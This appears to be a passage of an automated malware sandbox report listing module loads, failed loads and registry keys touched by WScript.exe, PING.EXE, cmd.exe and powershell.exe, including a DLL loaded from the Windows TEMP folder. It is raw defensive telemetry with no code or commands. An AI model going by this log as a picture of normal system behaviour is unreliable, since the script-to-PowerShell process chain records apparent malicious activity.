[base:0; Status:c0000135] "PING.EXE" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "cmd.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "cmd.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\security.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\CRYPT32.dll" - [base:0; Status:c0000135]3c:T45bc,"WScript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base f87a0000 "WScript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "WScript.exe" loaded module "KERNEL32" at base 76ed0000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "WScript.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base fa180000 "WScript.exe" loaded module "CLBCATQ.DLL" at base ff290000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VBSCRIPT.DLL" at base f5ac0000 "WScript.exe" loaded module "OLE32.DLL" at base fe8d0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base fd390000 "WScript.exe" loaded module "WINTRUST.DLL" at base fce00000 "WScript.exe" loaded module "CRYPTSP.DLL" at base fc5d0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base fc2d0000 "WScript.exe" loaded module "ADVAPI32.DLL" at base fd390000 "WScript.exe" loaded module "CRYPTBASE.DLL" at base fcc40000 "WScript.exe" loaded module "MSISIP.DLL" at base fa2d0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base fce40000 "WScript.exe" loaded module "IMM32.DLL" at base fd9d0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base fa2b0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCROBJ.DLL" at base f4150000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MLANG.DLL" at base f4110000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base f5a90000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCRRUN.DLL" at base f40d0000 "WScript.exe" loaded module "SHELL32.DLL" at base 3c60000 "WScript.exe" loaded module "PROPSYS.DLL" at base fb5a0000 "WScript.exe" loaded module "COMCTL32.DLL" at base fb830000 "WScript.exe" loaded module "OLEAUT32.DLL" at base ff1b0000 "WScript.exe" loaded module "APPHELP.DLL" at base fcbe0000 "WScript.exe" loaded module "KERNEL32.DLL" at base 76ed0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\IEFRAME.DLL" at base f0c20000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 76ed0000 "WScript.exe" loaded module "SETUPAPI.DLL" at base fd1a0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base fb5a0000 "WScript.exe" loaded module "NTMARTA.DLL" at base fb720000 "WScript.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base fee50000 "WScript.exe" loaded module "PROFAPI.DLL" at base fcde0000 "WScript.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L1-1-0.DLL" at base fd150000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base fd470000 "WScript.exe" loaded module "SECUR32.DLL" at base fc910000 "WScript.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base fd0b0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base fcbe0000 "PING.EXE" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base f87a0000 "PING.EXE" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "PING.EXE" loaded module "KERNEL32" at base 76ed0000 "PING.EXE" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "PING.EXE" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base fa180000 "PING.EXE" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base fc570000 "PING.EXE" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base fbf90000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base f87a0000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "cmd.exe" loaded module "KERNEL32" at base 76ed0000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base fcbe0000 "powershell.exe" loaded module "USERENV.DLL" at base fd180000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base fee50000 "powershell.exe" loaded module "COMCTL32.DLL" at base fb830000 "powershell.exe" loaded module "ADVAPI32.DLL" at base fd390000 "powershell.exe" loaded module "KERNEL32.DLL" at base 76ed0000 "powershell.exe" loaded module "SHELL32.DLL" at base fda80000 "powershell.exe" loaded module "OLEAUT32.DLL" at base ff1b0000 "powershell.exe" loaded module "OLE32.DLL" at base fe8d0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 76ed0000 "powershell.exe" loaded module "SETUPAPI.DLL" at base fd1a0000 "powershell.exe" loaded module "RPCRT4.DLL" at base fead0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base fb5a0000 "powershell.exe" loaded module "NTMARTA.DLL" at base fb720000 "powershell.exe" loaded module "APPHELP.DLL" at base fcbe0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SHDOCVW.DLL" at base f5d60000 "powershell.exe" loaded module "PROPSYS.DLL" at base fb5a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base fda80000 "powershell.exe" loaded module "LINKINFO.DLL" at base f7e00000 "powershell.exe" loaded module "PROFAPI.DLL" at base fcde0000 "powershell.exe" loaded module "USER32.DLL" at base 76ff0000 "powershell.exe" loaded module "NTSHRUI.DLL" at base f2810000 "powershell.exe" loaded module "SRVCLI.DLL" at base fc7e0000 "powershell.exe" loaded module "CSCAPI.DLL" at base f84a0000 "powershell.exe" loaded module "SLC.DLL" at base faae0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base fec20000 "powershell.exe" loaded module "CRYPTSP.DLL" at base fc5d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base fc2d0000 "powershell.exe" loaded module "CRYPTBASE.DLL" at base fcc40000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base f87a0000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "powershell.exe" loaded module "KERNEL32" at base 76ed0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base f1cb0000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "VERSION.DLL" at base fbec0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\MSCORWKS.DLL" at base e9030000 "powershell.exe" loaded module "MSCOREE.DLL" at base f1d60000 "powershell.exe" loaded module "NTDLL" at base 770f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSCOREE.DLL" at base f1d60000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MSCORLIB\0478AED7FC25AE268474C704FD2A3E0F\MSCORLIB.NI.DLL" at base e8150000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\OLE32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM\9B0615D346556A8AE639DCEC168731CC\SYSTEM.NI.DLL" at base e7710000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\FABCA41DC6CC22A902C2525408B49AB9\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base f0700000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.MANAGEMENT.A#\D5AB9EBDFC2BACEA66210C16FFF703D2\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base e6bb0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "PSAPI.DLL" at base 772b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 770f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.CORE\2706DDBD765B8A111D3083F8AF88EF03\SYSTEM.CORE.NI.DLL" at base e6880000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\326A4488A1881B3BD8EA1E8F4DD7420F\MICROSOFT.POWERSHELL.COMMANDS.DIAGNOSTICS.NI.DLL" at base f0690000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.CONFIGURATIO#\1E9190C7A12053EA715C8D8EF8FADDD1\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base f25e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.WSMAN.MAN#\23314086651FF4D13264EF3CD19E0B4E\MICROSOFT.WSMAN.MANAGEMENT.NI.DLL" at base f05e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.TRANSACTIONS\9354030849F9E58D9B95D32149F7BB68\SYSTEM.TRANSACTIONS.NI.DLL" at base ee0a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\2.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 73a20000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\2E6EBCF758BBFFD55F7ABFD8878C72C1\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base e9ed0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\7C10A24FF552941B03414D424169041F\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base edf80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\89738D6A75AB575F400360D0670F60ED\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base f0850000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\CULTURE.DLL" at base fb450000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\MSCORJIT.DLL" at base e66f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.XML\E0542EB82C5F716397D316D5C88F7AE5\SYSTEM.XML.NI.DLL" at base e6040000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.MANAGEMENT\38C49B707AF17308185A48479FCB7404\SYSTEM.MANAGEMENT.NI.DLL" at base e5ed0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.DIRECTORYSER#\543DE12CE97F16746B85981A80878035\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base e5d30000 "powershell.exe" loaded module "SHFOLDER.DLL" at base fb450000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_64\MSCORLIB\2.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base fc910000 "powershell.exe" loaded module "SSPICLI.DLL" at base fcbb0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.DATA\2276C85B65E1F517DA1B9026640E2A55\SYSTEM.DATA.NI.DLL" at base e54d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_64\SYSTEM.DATA\2.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 71410000 "powershell.exe" loaded module "NETUTILS.DLL" at base fad60000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\MSCORWKS.DLL" at base e8690000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MSCORLIB\0478AED7FC25AE268474C704FD2A3E0F\MSCORLIB.NI.DLL" at base e77b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM\9B0615D346556A8AE639DCEC168731CC\SYSTEM.NI.DLL" at base e6d70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\FABCA41DC6CC22A902C2525408B49AB9\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base f5aa0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.MANAGEMENT.A#\D5AB9EBDFC2BACEA66210C16FFF703D2\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base e6210000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.CORE\2706DDBD765B8A111D3083F8AF88EF03\SYSTEM.CORE.NI.DLL" at base e96a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\326A4488A1881B3BD8EA1E8F4DD7420F\MICROSOFT.POWERSHELL.COMMANDS.DIAGNOSTICS.NI.DLL" at base f4120000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.CONFIGURATIO#\1E9190C7A12053EA715C8D8EF8FADDD1\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base f40e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.WSMAN.MAN#\23314086651FF4D13264EF3CD19E0B4E\MICROSOFT.WSMAN.MANAGEMENT.NI.DLL" at base f0780000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.TRANSACTIONS\9354030849F9E58D9B95D32149F7BB68\SYSTEM.TRANSACTIONS.NI.DLL" at base f0690000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\2.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 738a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\2E6EBCF758BBFFD55F7ABFD8878C72C1\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base edf70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\7C10A24FF552941B03414D424169041F\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base f0570000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\MICROSOFT.POWERSHEL#\89738D6A75AB575F400360D0670F60ED\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base f25e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\CULTURE.DLL" at base fb440000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\MSCORJIT.DLL" at base e9f60000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.XML\E0542EB82C5F716397D316D5C88F7AE5\SYSTEM.XML.NI.DLL" at base e5b60000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.MANAGEMENT\38C49B707AF17308185A48479FCB7404\SYSTEM.MANAGEMENT.NI.DLL" at base e9530000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.DIRECTORYSER#\543DE12CE97F16746B85981A80878035\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base e9390000 "powershell.exe" loaded module "SHFOLDER.DLL" at base fb440000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.DATA\2276C85B65E1F517DA1B9026640E2A55\SYSTEM.DATA.NI.DLL" at base e5300000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_64\SYSTEM.DATA\2.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 728c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\1.0.0.0__31BF3856AD364E35\SHELL32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base fcbe0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_64\SYSTEM.CONFIGURATION\A2571A4E32A586B52463D88A83702AED\SYSTEM.CONFIGURATION.NI.DLL" at base e9240000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\RASAPI32.DLL" at base 0 "powershell.exe" loaded module "RASAPI32.DLL" at base f1fb0000 "powershell.exe" loaded module "RTUTILS.DLL" at base fa270000 "powershell.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL" at base fee50000 "powershell.exe" loaded module "API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL" at base fee50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "powershell.exe" loaded module "WS2_32.DLL" at base fe880000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base fc570000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base fbf90000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base fc560000 "powershell.exe" loaded module "RASMAN.DLL" at base f1f90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\WINHTTP.DLL" at base 0 "powershell.exe" loaded module "WINHTTP.DLL" at base f99d0000 "powershell.exe" loaded module "CREDSSP.DLL" at base fc1d0000 "powershell.exe" loaded module "IPHLPAPI.DLL" at base fa8d0000 "powershell.exe" loaded module "DHCPCSVC6.DLL" at base fa750000 "powershell.exe" loaded module "DHCPCSVC.DLL" at base fa6d0000 "powershell.exe" loaded module "NSI.DLL" at base fd380000 "powershell.exe" loaded module "CFGMGR32.DLL" at base fd060000 "powershell.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL" at base fee50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\IPHLPAPI.DLL" at base 0 "powershell.exe" loaded module "DNSAPI.DLL" at base fc3f0000 "powershell.exe" loaded module "RASADHLP.DLL" at base f9950000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base fa7c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\SECURITY.DLL" at base 0 "powershell.exe" loaded module "SECURITY.DLL" at base 74750000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base fc360000 "powershell.exe" loaded module "NCRYPT.DLL" at base fc750000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base fc210000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "CRYPT32.DLL" at base fce40000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "GPAPI.DLL" at base fc080000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base f9dd0000 "powershell.exe" loaded module "CRYPTNET.DLL" at base f9dd0000 "powershell.exe" loaded module "SENSAPI.DLL" at base fb450000 "powershell.exe" loaded module "CABINET.DLL" at base fa2c0000 "powershell.exe" loaded module "DEVRTL.DLL" at base fc0a0000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base fee50000 "powershell.exe" loaded module "GDI32.DLL" at base fe810000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\DIASYMREADER.DLL" at base e9e900003d:T4bf,"100011000000000090cfa8fefe070000@CLBCatQ.DLL" "1100120000000000a4cfa8fefe070000@CLBCatQ.DLL" "110012000000000030dfa4fefe070000@vbscript.dll" "0f0010000000000050dfa4fefe070000@vbscript.dll" "15001600fe070000683422fafe070000@ADVAPI32.dll" "0e000f00fe070000e83422fafe070000@ADVAPI32.dll" "0e000f00fe070000203522fafe070000@ADVAPI32.dll" "11001200fe070000e83922fafe070000@ADVAPI32.dll" "11001200fe070000503a22fafe070000@ADVAPI32.dll" "12001300fe070000683a22fafe070000@ADVAPI32.dll" "12001300fe070000983a22fafe070000@ADVAPI32.dll" "14001500fe070000105222fafe070000@ADVAPI32.dll" "14001500fe070000285222fafe070000@ADVAPI32.dll" "14001500fe070000405222fafe070000@ADVAPI32.dll" "17001800fe070000585222fafe070000@ADVAPI32.dll" "0d000e00fe070000705222fafe070000@ADVAPI32.dll" "0f001000fe070000b85322fafe070000@ADVAPI32.dll" "14001500fe070000f85322fafe070000@ADVAPI32.dll" "14001500fe070000105422fafe070000@ADVAPI32.dll" "0c000d00fe070000585422fafe070000@ADVAPI32.dll" "0c000d00fe070000685422fafe070000@ADVAPI32.dll" "0e000f00fe070000785422fafe070000@ADVAPI32.dll" "18001900fe070000f85522fafe070000@RPCRT4.dll" "13001400fe070000285622fafe070000@RPCRT4.dll" "14001500fe070000405622fafe070000@RPCRT4.dll"3e:T152a,"WScript.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "WScript.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "WScript.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "WScript.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "WScript.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "WScript.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "WScript.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "WScript.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "WScript.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "WScript.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "WScript.exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "WScript.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "WScript.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "WScript.exe" touched "DXP" (Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "WScript.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "WScript.exe" touched "Windows Search Service Media Center Namespace Extension Handler" (Path: "HKCU\CLSID\{98D99750-0B8A-4C59-9151-589053683D73}\SHELLFOLDER") "WScript.exe" touched "Other Users Folder" (Path: "HKCU\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "WScript.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "WScript.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "WScript.exe" touched "Games Explorer" (Path: "HKCU\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "WScript.exe" touched "Computers and Devices" (Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "WScript.exe" touched "Sticky Notes Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{F3F5824C-AD58-4728-AF59-A1EBE3392799}\SHELLFOLDER") "WScript.exe" 